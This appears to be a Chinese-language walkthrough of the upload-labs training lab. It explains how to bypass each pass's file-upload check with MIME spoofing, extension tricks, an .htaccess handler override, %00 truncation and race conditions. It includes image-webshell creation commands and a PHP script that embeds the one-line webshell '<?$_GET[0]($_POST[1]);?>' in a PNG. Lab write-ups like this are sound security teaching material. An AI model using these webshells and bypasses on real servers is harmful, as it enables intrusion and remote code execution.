Pass-01 (JS验证)
提示:本pass在客户端使用js对不合法图片进行检查
这里直接跳出弹窗提示 了,可以看出来这个验证是在前端进行的,众所周知,前端都是纸老虎直接禁用掉就好了
<form enctype="multipart/form-data" method="post" οnsubmit="return checkFile()">
从form表单可以看出他在使用了onsubmit这个函数,触发了鼠标的单击事件,
在表单提交 后马上调用了return checkFile这个函数对上传的文件进行检查
绕过方式:
第一种:第一种方式创建一个新的html文件,将页面的源代码复制下来,进行修改删除操作禁用掉里面的js脚本。
form表单中添加第一关的提交地址
第二种:直接按F12 把onsubmit这个直接删除掉
这里不推荐第二种,因为如果是在浏览器查看器中直接删除的话,可能他还有一些正常的js,
如果把正常的js给删除掉的话,可能正常的js会影响到上传操作
第三种:抓包修改(不推荐)
上传前,随便使用一张图片格式的照片进行上传比如1.png 使用bp进行拦截,将filename
=1.png 修改成1.php 并且把 图片的内容进行替换,替换成一句话代码绕过
这里在前端漏洞不推荐使用抓包修改数据。因为极大可能抓取不到数据包。
这里能抓取到的原因是因为他的代码是php+html+js的一个混编代码,他做了一个前后端的交互(向后端进行提交)才可以抓取到数据包。如果第一关的页面没有对php的页面进行接受,他可以单纯的只有js对网站的信息进行截取,并且保存。如果整个上传的流程到解析都 用js去写的话 ,就抓不到了,因为js所有的操作都在前端执行,不会发送到后端的服务器,不进行交互。所以在有的时候在对其他网站进行访问的时候抓取不到数据包,极大的可能就是因为对方的页面,没有发送到后端的服务器,全部都是本地端的代码(html,js)
Pass-02 (后端验证)文件类型校验(MIME校验)
提示:本pass在服务端对数据包的MIME进行检查!
从源代码中可以看出只对文件类型(type)进行了验证,必须要是image/jpeg或者image/png或者
image/gif的格式,没有对后缀进行验证,只需要使用bp抓包将Content-Type:的参数修改成
image/jpeg或者image/png或者image/gif其中的一种,进行绕过就好
科普一下什么是MIME
MIME:多用途互联网邮件扩展协议。用途为根据文件后缀名判断文件类型,用什么应用程序打开,但是在这里是根据文件类型判断后缀名。
$_FILES['myfile']['type']文件的MIME类型,需要浏览器提供该信息的支持,例如"image/gif"
MIME 给出的是文件的MIME信息 ,此信息可以用来在HTTP Conten-type 头 信息中发送 正确的信息,如:header("Cotent-type:image/gif")
文件格式
编辑
播报
最早的HTTP协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。
MIME意为多功能Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。
每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。
七种大类别:
video
image
application
text
audio
multipart
message
常见的MIME类型(通用型):
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream
操作步骤:
第一步:开始BP抓包。
第二步:上传php的 文件,修改Conten-type
上传成功
以下关卡涉及到函数
函数解析:
trim():去除左右两侧的空白
deldot():删除末尾的店
strrchar(string,char):函数查找串,在string字符串中查找,char在string字符串中最后一次出现的位置,返回并从该位置截取到尾,如果没有找到字符,则返回false
strrchar('hello wordld,i love you ','i')
输出结果: i love you
strtolower():函数 把所有字符串装换成小写
str_ireplace(fine,replace,strin):替换,
在strin字符串中,去搜索fine字符串,如果
搜到到匹配上了,用replace字符串进行替换
Pass-03 (文件后缀名校验,黑名单 绕过)
提示:本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
查看原代码
分析一下代码:
这里使用了数组的方式,设置的黑名单,不允许.asp .aspx .php .jsp的后缀名进行上传。
绕过思路:php开发了这么久了,不止只有这一个文件名,我们可以使用其他的php的别名进行绕过:.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (但是这里是有前提条件的)就是对方的服务器的配置有对这些php其他的文件名配置了解析的设置,否认就算你上传上去了,还是解析失败。
配置好了对应的解析,直接修改文件名就好了把1.php修改成你配置的对应的解析的文件名。
比如:1.php修改后1.phtml
Pass-04 (文件名后缀验证,配置文件解析控制)
提示:
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
查看一看源代码
源代码中可以看出,还是使用了一个黑名单的限制,对文件的后缀进行验证,并且限制的比之前的更多了,但是我们可以从黑名单中看出没有对.htaccess进行验证,那么我们就可以使用.htaccess进行绕过
.htaccess功能介绍:htaccess文件是Apache服务器中的一个配置文件。这个文件的可以不用获得root的权限,就可以更改这个目录下的所有的文件配置。那么说明只要创建一个.htaccess的文件,并且写入php的 配置,上传到这个服务器上,那么这个.htaccess所在的目录下的所有文件的配置就会都修改成转换成php的解析格式。(.htaccess文件只对Apache服务器有效)。
操作步骤:
1.首先先创建一个.htaccess的文件在文件中写入
SetHandler application/x-httpd-php
保存下来 。
2.把这个文件上传到服务器上。
3.将一句话木马文件名修改成gif/png/jpe其中格式的一种。比如2.png
4.将1.gif(一句话木马的文件)上传到服务器
上传成功。
这里的关键点就是.htaccess这个文件,把所有的目录下的文件的解析方式都修改成了php,
所以我们第二次上传的图片2.png “png”不在黑名单中,但是由于.htaccess文件所以又把他解析成了php的格式,所以可以完成正常的解析。
Pass-05(文件名后缀验证 拼接绕过)
提示:上传目录存在php文件(readme.php
查看源码:
还是黑名单 验证:".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
把.htaccess都进行了验证。
这关可以看出很难绕过了,对过滤也十分完整了
绕过思路:
$file_name = deldot($file_name);//删除文件名末尾的点,重点就是这里。在代码中可以看出对所有的过滤都是采用的是一次性过滤,这里删除末尾的点. 只删除了一次,那么我们就可以使用
点+空格+点绕过 ,deldot()这个函数的作用就是删除末尾的点,当检查到末尾的点时,他会进行删除,然后继续先前检测点,但是这个deldot这个函数遇到空格会停下来,相等于碰到空格就终止操作。所以我们 只要在上传文件的时候使用 点+空格+点 绕过就好了,这样我们在检查的文件
原本是1.php. . ,就变成了1.php. ,那么1.php. ,既不在黑名单中又可以成功进行绕过,又利用了系统的特性 ,在保存这个文件的时候系统又自动去除掉了1.php. 末尾的点。最终保存在电脑的文件就变成了1.php
操作步骤:
第一步:直接上传一句话木马的php文件。
第二步:使用bp进行抓包修改数据
直接.+空格+.
第三步:放包
完成
Pass-06 (文件名后缀验证,大小写绕过)
查看提示:
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
查看源码
这里和之前的源码进行对比一下,可以发现没有使用strtolower()这个函数,把后缀都转换成小写,那么我们就可以使用大小写的方式绕过黑名单。
操作步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据
第三步:放包
上传成功
Pass-07(文件名后缀验证,空格绕过)
提 示:
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!
查看源码
从源码中可以看出没有对文件名后缀的空白使用trim()进行过滤,借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。
但是在程序中检查代码的时候检查到空格却不能自动删除空格。同时又绕过了黑名单的验证
操纵步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,在文件名的后缀添加空格
第三步:放包
上传成功
Pass-08(文件名后缀名验证,点绕过)
提示:本pass禁止上传所有可以解析的后缀!
查看源码
对比发现,没有对末尾的点使用deldot(),进行过滤,没有删除末尾的点,再次利用windows的特性,在文件名的后缀加上点号,在最终保存的文件windows系统自动去除掉后面的点,保存文件。同时绕过黑名单的验证。
操纵步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,在文件名的后缀添加点号 绕过
第三步:放包
上传成功
Pass-09(文件名后缀验证,::$DATA绕过)
提示:
本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess后缀文件!
查看源码
对比之前的源码发现这里没有使用 str_ireplace()对::$DATA进行过滤,没有替换成空。
什么是::$DATA呢?
::$DATA这是一种windows操作系统处理文件时的特性,为文件流,如果文件名后有此标记::$DATA
,并且没有做过滤,windows会不检查,直接保存该文件。使用他的目的就是不检查后缀名。
所以我们只要在文件名后面加上::$DATA就可以成功绕过
操作步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,在文件名的后缀添加::$DATA绕过
第三步:放包 查看文件
把后面的::$DATA删除掉就可以看到刚刚上传的文件了
上传成功
Pass-10
绕过方式和第五关一样,重复了
Pass-11(文件后缀名验证 ,双写绕过)
提示:
本pass会从文件名中去除.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess字符!
查看一下源码
这一关重点的是str_ireplace($deny_ext,"", $file_name);这个函数,将文件名中出现在黑名单的这些后缀都替换成空,假如我们上传一个phpinfo.php被过滤后就变成了phpinfo,就没有后缀无法解析了,但是她这次也是使用的是一次性过滤,比如说我们上传phpinfo.phpphp,那么在一次性被过滤后我们原本上传的phpinfo.phpphp,就变成了phpinfo.php。 前面的php被匹配到替换成功,但是后面的第二个php没有被替换成空。
操作步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,在文件名的后缀添加php绕过。
第三步:放包
成功
Pass-12(文件名后缀白名单验证,GET 型%00 截断)
提示:
本pass上传路径可控!
查看源码
分析源码:
1.$ext_arr = array('jpg','png','gif'); 这里使用了数组做了一个白名单
2.$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
截取文件名的后缀从点的位置开始截取,并且使用的是循环的方式截取,不是采用 一次性
对($_FILES['upload_file']['name']进行验证
3. if(in_array($file_ext,$ext_arr)){ 判断上传的文件名后缀是否在白名单中,如果在进入循环。
4. $temp_file = $_FILES['upload_file']['tmp_name']; 进入循环,给上传的文件放在一个临时的目录下,并且生成一个临时文件名
5.$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;(这一步是关键)
使用$_GET['save_path']接受自定义的路径,并且随机从10,99的数组在随机生成一个文件名,
在拼接上$file_Ext 前面截取的后缀名。
6.(move_uploaded_file($temp_file,$img_path)){
最终将前面保存的$temp_file临时文件移动 到$img_path
原理 :
00截断利用的是php的漏洞,php的基础是C语言实现的,在C语言中认为%00是结束的符号,所以就基础了c的特性,在PHP<5.3.4的版本中,在进行存储文件时碰见了move_uploaded_file这个函数的时候,这个函数读取到hex值为00的字符,认为读取结束,就终止了后面的操作,出现00截断
绕过思路:
首先使用的是白名单,从代码中可以看出他首先对上传的文件名的后缀进行了验证。
所以我们在第一步上传$_FILES['upload_file']['name'],文件名的时候必须后缀是.jpg.png.gif的格式。绕过后缀名的验证后,进入到循环。最后重点他保存的文件是
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;,由上传路径决定的,原参数$_GET['save_path'],save_path=../upload/。 那么上传路径可控的 。我们就使用%00截断,把上传的路径修改为文件名。最后利用move_uploade_file这个函数发挥出%00截断的功能。
假如我们没有使用%00截断前最终上传的文件名可能是
../upload/ 237298 .png
$_GET['save_path'] rand(10, 99).date("YmdHis") $file_ext;
使用%00截断后
../upload/1.php%00 237298 .png
$_GET['save_path'] rand(10, 99).date("YmdHis") $file_ext;
最后 保存的文件就变成了
../upload/1.php
操作步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,filename="phpinfo.png" 后缀修改成图片格式,
替换文件中的内容。修改?save_path=../upload/1.php%00
访问图片 地址
将后面的参数删掉 ,因为我们最终保存在目录下的是1.php
上传成功
注意:过这关和下一个需要把php换成<5.3.4的版本,并且php.ini中关闭magic_quotes_gpc选项。
Pass-13(文件名后缀白名单验证,POST型%00 截断)
提示:本pass上传路径可控!
这关没啥好说的,原理和上一关一样,不过是使用POST 方式进行传参的。所以需要在%00的时候进行编码。
GET会自动解码%00
比如说你在url输入空格,他自己会进行判断并且把他进行编码知道你想要的%00,在url干嘛的。
但是POST里面 加%00 POST不会自动解码,你在POST中输入的%00 他会认为是普通文本的%00,那么普通文本他就会编码成%25%30%30.不是我们想要的%00,所以我们需要自己把他先进行编码 。
操作步骤:
第一步:上传一个.php的文件
第二步:开启bp抓包修改数据,filename="phpinfo.png" 后缀修改成图片格式,
save_path"=../upload/1.php%00
选中%00进行编码
放包
上传成功
Pass-14(文件内容检查 ,文件头验证)
提示:本pass检查图标内容开头2个字节!
查看一下源代码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
代码分析:这一关对图片的内容进行了验证,本题给了提示此关检查的是文件头部信息,通过检查文件的前2个字节,检查上传文件二进制的头部信息,来进行判断文件的类型。所以这一关修改后缀是没有用的。使用图片码的方式绕过。
操作步骤:
1。制作图片码 准备一张图片,在准备一个一句话木马的php文件
2.打开cmd 使用命令制作图片码
copy 1.jpg /b + 1.php /a shell.php
3.直接上传
复制图片链接地址
4.点击"文件包含漏洞"的地址,进行传参。
Pass-15-16(文件内容检查)
绕过方式和上题一样。
不管代码写的在好,使用的啥函数进行过滤,只要图片码在浏览器中可以正常显示,打开。那么就可以使用文件解析漏洞绕过。(前提是有这个漏洞,如果这个没有漏洞,什么格式解析什么格式。图片格式就是解析图片格式,代码格式就是解析代码格式,不要妄想用图片解析出代码的效果)
Pass-17(文件内容检查,图片二次渲染)
提示:本pass重新渲染了图片!
查看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
代码分析:
这一关主要就是使用了imagecreatefrom系列的函数。
这个函数的主要功能就是,使用上传的图片去生成一张新的图片,生成的结果会返回一个变量,
成功返回ture,失败返回false。并且这个函数,可以在他进行重新创建图片的时候,会将我们图片的信息和非图片的信息进行分离,也就是说如果我们在一张图片中加入了代码,那么他会 在你上传后把这张图片在新建的时候把其中的代码筛选出来,并且去除。最后只保留你的图片信息,在进行排序重建。
图片的二次渲染的操作就是在imagecreatefrom这里进行的
操作步骤:
借助010 Editor工具
GIF 格式绕过
第一步:首先使用GIF的图片和代码的文件使用命令合并成一张图片
copy 1.gif /b + 1.php /a blank.gif
第二步。 将合并好的文件上传到服务器上
第三步。将第一步的合成好的GIF图片使用010 Editor 工具打开
并且把第二步上传完的图片,到upload目录下寻找,将上传完成后已经被二次渲染后的图片,也使用010 Editor工具打开。
第4步。把这两个文件进行比较,
寻找蓝色部分没有被排列重组的地方
在二次渲染后7907.gif图片中加入一句话代码,
保存下来。
第五步:把刚刚保存好的7907.gif图片从upload目录下,剪切到你要上传文件的目录。
第六步:将7907.gif图片重新上传到服务器上
第7步:点击文件包含漏洞url,传参。
成功
PNG 图片绕过
以为png和jpg的图片结构和gif不同,而且利受损这里要借助大牛的一个脚本完成
大牛脚本
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
第一步。将使用大牛的脚本创建一个.php文件
第二步。 准备好一张png格式的图片
第三步。进入cmd,使用php命令执行php脚本
php beffpng.php hh.png 生成一个新的1.png文件图片
第四步:使用1.png进行上传
第五步:将图片地址复制有文件包含的漏洞的url打开
第六步:对大牛脚本中的一句话代码进行传参 <?$_GET[0]($_POST[1]);?>
127.0.0.1/upload-labs/include.php?file=upload/126.png&0=assert
1=phpinfo();
完成
jpg 我实在搞不过去,找了一下午的方式,不是脚本过不去,就是图片过不去,
因为我这个实验没有成功 我就不放教程上来了,因为实验未成功,不确定。你们可以自己寻找寻找脚本
或者教程。
Pass-18 (逻辑漏洞,条件竞争)二次渲染
提示:
需要代码审计!
查看源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
代码分析:
$ext_arr = array('jpg','png','gif');使用数组的方式生成了一个白名单
$file_name = $_FILES['upload_file']['name'];使用超级全局变量接受文件
$temp_file = $_FILES['upload_file']['tmp_name'];将上传的文件存储到一个临时目录下,并且使用临时名存储。
substr($file_name,strrpos($file_name,".")+1); 使用循环的方式截取.的位置。截取文件后缀名
$upload_file = UPLOAD_PATH . '/' . $file_name; 设置上传的路径
if(move_uploaded_file($temp_file, $upload_file)){ 将临时存储路径的文件移动到 $upload_file
这个路径下
if(in_array($file_ext,$ext_arr)){进行文件名后缀的验证
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;如果在的话设置路径,并且使用随机数和时间戳的方式,最后拼接上后缀。
rename($upload_file, $img_path);将$upload_file重命名成$img_path
这一关属于逻辑上的漏洞
由于开发者没有在第一步进行验证,导致文件在上传后在进行验证导致的。
if(move_uploaded_file($temp_file, $upload_file)){。在这步操作中可以看出来,在第一步的时候没有对文件进行验证,就直接将文件进行移动到服务器中了,那么说明,在没有验证之前,不管你上传的什么文件都上传到服务器了。
绕过思路:
我们可以使用条件竞争的方式绕过,我们在上传这个文件的时候,不断的向这个服务器进行发包,使用另外一个浏览器访问上传文件的路径,不断的去调用这个文件,占用这个文件的资源,阻止他下面的代码操作,那么他后面验证和过滤等一系列操作就不会执行,那么你上传的文件是什么格式的就是什么格式的
什么是条件竞争?
这是一种技术,不是属于漏洞的一种,相等于在文件进行下一步操作之前你就马上访问这个文件,
操作这个文件,占用这个文件,使得后面的操作无法执行。
举个例子 :你现在打开一个文本文件,在里面进行编写内容等操作,没有关闭这个进程。那么你在编辑内容的时候把他进行删除,你看看能不能删的掉。
什么是二次渲染?
二次渲染个人认为就是二次操作。但二次渲染并不是漏洞,只是他运用的技术叫二次操作,但并不是说二次渲染就有漏洞的。在这里有漏洞的原因是开发者没有在第一步就进行验证。如果他是在第一步做了这个验证,那么这个二次渲染技术没问题的
操作步骤:
第一步;从代码中可以看出,在第一步没有进行文件的验证,那么我们就直接上传个.php的文件
第二步:开启BP抓包,随便设置一个变量不断的向服务器进行发包。
发送到Intruder模块
清除掉默认的变量
设置成一个变量
设置一个向服务器不断发包的数量
第三步;点击Start attack开始发包
第四步:打开另外一个浏览器,访问图片的路径地址,加上你上传的文件名,不断刷新进行访问
成功。
Pass-19(逻辑漏洞,条件竞争)二次渲染
绕过步骤和上一关一样
Pass-20
提示:
本pass的取文件名通过$_POST来获取。
查看源码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
分析代码 :
if (isset($_POST['submit'])) { 是否接收到submit的提交
if (file_exists(UPLOAD_PATH)) { 使用file_exists 检查文件或目录(upload/)是否存在
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
数组黑名单
$file_name = $_POST['save_name']; 接受post的save_name的值 =upload-19.jpg
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);使用pathinfo函数
检查文件的扩展名
if(!in_array($file_ext,$deny_ext)) { 判断文件名是否在黑名单中
$temp_file = $_FILES['upload_file']['tmp_name']; 如果不在将文件移动到临时目录,并且给临时文件名
$img_path = UPLOAD_PATH . '/' .$file_name; 使用 UPLOAD_PATH/拼接$file_name组合成一个新路径
if (move_uploaded_file($temp_file, $img_path)) { 将临时目录下的临时文件,移动到新路径下。
绕过思路:
第一种(%00截断):从源代码可以看出,没有对上传的文件进行过滤,而是对$_POST['save_name'];这里进行了过滤save_name=upload-19.jpg.并且最后保存的路径也是
$_POST['save_name']来决定的。那么我们只要对最后save_name这个保存的文件名进行绕过就好
操作步骤:
第一步:因为没有对我们上传的原文件进行验证过滤,那么就直接上传一个.php的文件上去。
第二步:开启BP修改数据包,对sava_name的值使用%00截断
(这里不直接修改成.php的原因是因为,源代码中使用了pathinfo这个 函数对后缀进行了验证,如果直接修改成.php无法通过验证。所以必须在.php%00的后面加上.jpg 先进行后缀的验证,到最后移动目录时,因为使用的是move_upload_fie这个函数移动和保存目录 和文件名,那么move_upload_fie这个函数在碰见%00又会终止,所以在进行移动upload-19.php%00.jpg,最后保存到服务器的文件就变成了upload-19.php)
注意!!这里是使用POST方式传参的%00记得进行编码!!
第三步:放包
第四步:访问文件
成功
第二种绕过(文件夹名欺骗绕过)
因为知道他验证的是啊save_name
那么save_name的值又=upload-19.jpg
那么他路径的拼接应该是
UPLOAD_PATH . '/' .$file_name;
upload/ upload-19.jpg
使用
uplpad/ uplpad-19.php/. 进行绕过
以为他在进行验证的时候格式是php/. 那么他原的过滤是php 正巧是因为我们加了这个/.不在黑名单中
绕过了他的验证,但是最终文件在保存的时候原来的uplpad/uplpad19.php/.
他会强制保存成upload/upload-19.php 此时就变成了php的格式了。
成功